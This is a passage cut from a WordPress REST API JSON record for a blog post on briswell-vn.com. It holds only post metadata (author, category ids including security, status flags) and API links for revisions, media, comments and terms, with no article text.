[&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":7807,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[4,67,71],"tags":[],"class_list":["post-7802","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news","category-security","category-it-tec"],"_links":{"self":[{"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/posts\/7802","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/comments?post=7802"}],"version-history":[{"count":14,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/posts\/7802\/revisions"}],"predecessor-version":[{"id":9130,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/posts\/7802\/revisions\/9130"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/media\/7807"}],"wp:attachment":[{"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/media?parent=7802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/categories?post=7802"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.briswell-vn.com\/en\/wp-json\/wp\/v2\/tags?post=7802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}